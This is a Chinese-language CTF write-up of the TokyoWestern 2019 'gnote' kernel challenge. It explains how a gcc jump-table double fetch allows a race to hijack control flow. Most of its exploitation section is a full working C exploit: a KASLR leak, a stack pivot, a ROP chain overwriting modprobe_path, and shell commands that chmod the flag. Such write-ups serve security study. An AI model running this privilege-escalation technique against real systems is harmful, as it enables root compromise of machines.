Toyko Western 2019 gnote 解析

阅读量391827

|

发布时间 : 2019-09-10 14:30:18

 

前言

Toyko Western 2019 的一道 linux kernel 驱动题,从代码上看实在找不出什么漏洞点,但是到了汇编的层面就不同了

 

前置知识

gcc 编译 switch case

gcc 编译switch... case代码的时

case 超过 5个的时候会变成jump table 的形式

我们可以写个代码测试一下,就像下面这样,写个 switch

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>

int do_something(char *buf){
    int ret=0;
    switch(*(int *)buf){
        case 1:
            printf("case 1n");
            break;
        case 2:
            printf("case 2n");
            break;
        case 3:
            printf("case 3n");
            break;
        case 4:
            printf("case 4n");
            break;
        /*case 5:*/
            /*printf("case 5n");*/
            /*break;*/
    }
    return ret;
}
int main(int argc,char **argv){
    char *buf=malloc(0x100);
    *(int *)buf = 0x1;
    do_something(buf);


    return 0;
}

我们先看 4 个case 的情况,

在 case 不超过 5 个的情况下,默认都会编译成 cmp ... je 的形式


cmp    eax,0x3
je     690 <do_something+0x30>

case 超过 5 个的情况下,会生成一个 jump table 数组,根据每个 case索引数组跳到对应的逻辑里面


660:   83 3f 05                cmp    DWORD PTR [rdi],0x5
663:   0f 87 8f 00 00 00       ja     6f8 <do_something+0x98>
676:   48 63 04 82             movsxd rax,DWORD PTR [rdx+rax*4]
67a:   48 01 d0                add    rax,rdx
67d:   ff e0                   jmp    rax

从上面可以看出 rdi 就是 传入的 char *buf 的地址,首先会把他和最大的 case比较,这里是 5, 超过则跳出去,没有就根据 jump table 来执行每个 case

从汇编代码可以看到,[rdi] 做了两次的检查

一次在cmp DWORD PTR [rdi],0x5 比较最大值

一次在 mov eax,DWORD PTR [rdi] 再一次取rdi 的值作为 jump table 的索引

本来这里没有什么问题,但是如果do_something(char *buf) 传入的指针 buf的内容可以被并发修改,那么就可能会出现问题

假如 cmp 之后 buf 的内容被改变了,那么 取到 eax 里面的就可能是其他的值,也就是我们说的 double fetch 了,于是就可以构造 jump table 的数组越界,最终可以利用jmp rax jump any where

gnote 也是根据这个特点做的设计,我们接下来看看题目

 

题目分析

题目还直接给了c文件,只实现了 read/write 两个接口

write 函数


...
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
  unsigned int index;
  mutex_lock(&lock);
  /*
   * 1. add note
   * 2. edit note
   * 3. delete note
   * 4. copy note
   * 5. select note
   * No implementation :(
   */
  switch(*(unsigned int *)buf){
    .....
  }
  mutex_unlock(&lock);
  return count;
}

write 接口实现了一个 switch...case 的逻辑,只实现了addselect的逻辑, 进入的的退出的时候会加锁


struct note {
  unsigned long size;
  char *contents;
};

unsigned long cnt;
unsigned long selected;
struct note notes[MAX_NOTE];
//...
    case 1:
      if(cnt >= MAX_NOTE){
        break;
      }
      notes[cnt].size = *((unsigned int *)buf+1);
      if(notes[cnt].size > 0x10000){
        break;
      }
      notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
      cnt++;
      break;

这里维护了一个全局的 notes 数组,总共有 8项,add 的时候传进来size,然后分配内存


    case 5:
      index = *((unsigned int *)buf+1);
      if(cnt > index){
        selected = index;
      }
      break

select 的时候需要选择不超过 cnt 大小的 index, 因为都是 unsigned 类型,没有溢出

这里的逻辑挺严谨的,找不到什么问题

有一点就是直接用了 用户态 传进来的 buf 指针,一般都需要用 copy_from_user 拷贝一份

但是这并没有什么用,buf里面并没有指针被用到,add和select 都只是读了一个unsigned int, 搞double fetch 并不会触发什么判断

但是这里的问题就像我们前面说的,gcc编译switch...case得到的结果有一个类似double fetech的效果,只要 switch 的对象是可并发更改的就可以触发

gnote_write switch 比较的对象是*(usigned int*)buf, 这个也就符合了条件

于是这里就可以利用这个问题来跳到任意的内核代码上执行

#!/bin/sh
cd /home/gnote
stty intr ^]
exec timeout 120 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 nokaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep -monitor /dev/null 2>/dev/null

这里还关闭了smap,模块的起始地址一般都是在ffffffffc0000000 左右,于是我们可以让jump table 索引到用户态,在用户态部署好指针,然后就可以劫持控制流了

read 函数

在利用之前还需要知道内核的地址,题目很贴心的给了一个read 函数,因为 kmalloc 没有把内存清0, 于是可以泄露出内核的地址


ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
  mutex_lock(&lock);
  if(selected == -1){
    mutex_unlock(&lock);
    return 0;
  }
  if(count > notes[selected].size){
    count = notes[selected].size;
  }
  copy_to_user(buf, notes[selected].contents, count);
  selected = -1;
  mutex_unlock(&lock);
  return count;
}

 

漏洞利用

到了这里,有了内核地址,没有smap,可以执行一个gadget,要利用已经不难了

主要是找到gcc 的这个double fetch的问题比较难,看到有c源码就不会看汇编了( x x)

基本的利用思路

  • 1 计算一下从jump table 索引到用户态的index
  • 2 在用户态对应地址mmap大量的内存,写好gadget的地址(绕过模块的 kaslr)
    • gadget 这里用了 xchg eax, esp 把stack 劫持到用户态
  • 3 rop 搞事情

但是这里我 rop 执行 commit_creds(prepare_kernel_cred(0)) 的时候不知道为什么,虽然可以成功执行,但是system("/bin/sh") 的时候起的却不是 root shell, 太菜了想不出为什么,有知道的大佬麻烦告诉我一声

这里我rop 改了modprobe_path 来执行命令的,可以参考这篇文章

我直接把 flag chmod 到 777 就可以直接读了

rop chains 类似下面,用 memcpy 把用户态的字符拷贝到modprobe_path处,因为没有 smap,所以是没有问题的

    rop_base[i++]=prdi;
    rop_base[i++]= modprobe_path;
    rop_base[i++]=prsi;
    rop_base[i++]=(u64)(ropchain+0x1000);
    rop_base[i++]=prdx;
    rop_base[i++]=0x10;
    rop_base[i++]=memcpy_addr;
    rop_base[i++]= swapgs;
    rop_base[i++]= tty_base;
    rop_base[i++]= iretq;
    rop_base[i++]= (u64)something;
    rop_base[i++]= user_cs;
    rop_base[i++]= user_rflags;
    rop_base[i++]= user_sp;
    rop_base[i++]= user_ss;

符号里面没有 modprobe_path 的地址,可以通过一些函数的引用来找

就像下面这样__request_module

gdb 稍微看一下代码就可以找到

 

exp

完整exp 如下

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>

typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;
size_t user_cs, user_ss, user_rflags, user_sp, user_gs, user_es, user_fs, user_ds;

void logs(char *tag,char *buf){
    printf("[ s]: ");
    printf(" %s ",tag);
    printf(": %sn",buf);
}
void logx(char *tag,uint32_t num){
    printf("[ x] ");
    printf(" %-20s ",tag);
    printf(": %-#8xn",num);
}
void loglx(char *tag,uint64_t num){
    printf("[lx] ");
    printf(" %-20s ",tag);
    printf(": %-#16lxn",num);
}
void bp(char *tag){
    printf("[bp] : %sn",tag);
    getchar();
}

void save_status(){
    __asm__("mov %%cs, %0n"
            "mov %%ss,%1n"
            "mov %%rsp,%2n"
            "pushfqn"
            "pop %3n"
            "mov %%gs,%4n"
            "mov %%es,%5n"
            "mov %%fs,%6n"
            "mov %%ds,%7n"
            ::"m"(user_cs),"m"(user_ss),"m"(user_sp),"m"(user_rflags),
            "m"(user_gs),"m"(user_es),"m"(user_fs),"m"(user_ds)
            );

    logs("status saved !!","");
}


void x64dump(char *buf,uint32_t num){
    uint64_t *buf64 =  (uint64_t *)buf;
    printf("[-x64dump-] start : n");
    for(int i=0;i<num;i++){
        if(i%2==0 && i!=0){
            printf("n");
        }
        printf("0x%016lx ",*(buf64+i));
    }
    printf("n[-x64dump-] end ... n");
}


void something(){
    exit(0);
}
void init(){
    save_status();
    signal(SIGSEGV,something);
}
struct in_args{
    u32 cmd;
    u32 size;
};

void add(int fd,u32 size){
    struct in_args rw;
    rw.cmd =1;
    rw.size=size;
    write(fd,(char *)&rw,0);
}

void sel(int fd,u32 index){
    struct in_args rw;
    rw.cmd =5;
    rw.size=index;
    write(fd,(char *)&rw,0);
}

struct in_args g_rw;
void *race_cmd(void *args){
    while(1){
        g_rw.cmd =0x9000000;
    }
}

void gen_test(){
    system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod");
    system("chmod +x /tmp/chmod");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
}
int main(int argc,char **argv){
    init();

    int fd = open("/proc/gnote",O_RDWR);
    logx("fd",fd);
    char *buf = malloc(0x1000);
    u64 *buf64 = (u64 *)buf;

    // leak
    int ptmx_fd = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    close(ptmx_fd);

    add(fd,0x270);
    sel(fd,0);
    read(fd,buf,0x270);
    x64dump(buf,0x8);

    u64 kaslr=0;
    if((buf64[3]&0xfff)==0x360){
        kaslr = buf64[3] - 0xffffffff81a35360;
    }else if((buf64[3]&0xfff) == 0x260){
        kaslr = buf64[3] - 0xffffffff81a35260;
    }
    loglx("kaslr",kaslr);
    u64 tty_base = buf64[7]&0xffffffffffffff00;

    u64 xchg_eax_esp = 0xffffffff8125b83b + kaslr;

    u64 mmap_base =xchg_eax_esp&0xfffff000;
    u64 *rop_base = (void *)(xchg_eax_esp&0xffffffff);
    char *ropchain = mmap((void *)mmap_base,0x2000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
    char *xchg_gadget_addr = mmap((void *)0x8000000,0x1000000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
    u64 *addr64 = (u64 *)xchg_gadget_addr;
    for(int i=0;i<0x1000000/8;i++){
        addr64[i] = xchg_eax_esp;
    }

    loglx("xchg base",(u64)xchg_eax_esp);
    loglx("mmap ropchains",(u64)ropchain);
    loglx("mmap addr",(u64)xchg_gadget_addr);

    u64 memcpy_addr = 0xffffffff8158a100 +kaslr;
    u64 modprobe_path = 0xffffffff81c2c540 + kaslr;

    u64 prdi =  0xffffffff8101c20d + kaslr;
    u64 prsi = 0xffffffff81037799 + kaslr;
    u64 prdx = 0xffffffff810dd812 + kaslr;
    u64 swapgs = 0xffffffff8103efc4 + kaslr;
    u64 iretq =  0xffffffff8101dd06 + kaslr;


    //gen fake file to trigger modprobe_path
    memcpy(ropchain+0x1000,"/tmp/chmod",10);
    gen_test();

    int i=0;
    rop_base[i++]=prdi;
    rop_base[i++]= modprobe_path;
    rop_base[i++]=prsi;
    rop_base[i++]=(u64)(ropchain+0x1000);
    rop_base[i++]=prdx;
    rop_base[i++]=0x10;
    rop_base[i++]=memcpy_addr;
    rop_base[i++]= swapgs;
    rop_base[i++]= tty_base;
    rop_base[i++]= iretq;
    rop_base[i++]= (u64)something;
    rop_base[i++]= user_cs;
    rop_base[i++]= user_rflags;
    rop_base[i++]= user_sp;
    rop_base[i++]= user_ss;

    // race to rop
    pthread_t tid;
    pthread_create(&tid,NULL,race_cmd,NULL);
    g_rw.size=0x0;
    g_rw.cmd =0;
    while(1){
        g_rw.cmd=0;
        write(fd,(char *)&g_rw,0);
    }
    bp("wait");

    return 0;
}

运行效果如下

 

reference

https://rpis.ec/blog/tokyowesterns-2019-gnote/

本文由rtfingc原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/185911

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
rtfingc
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66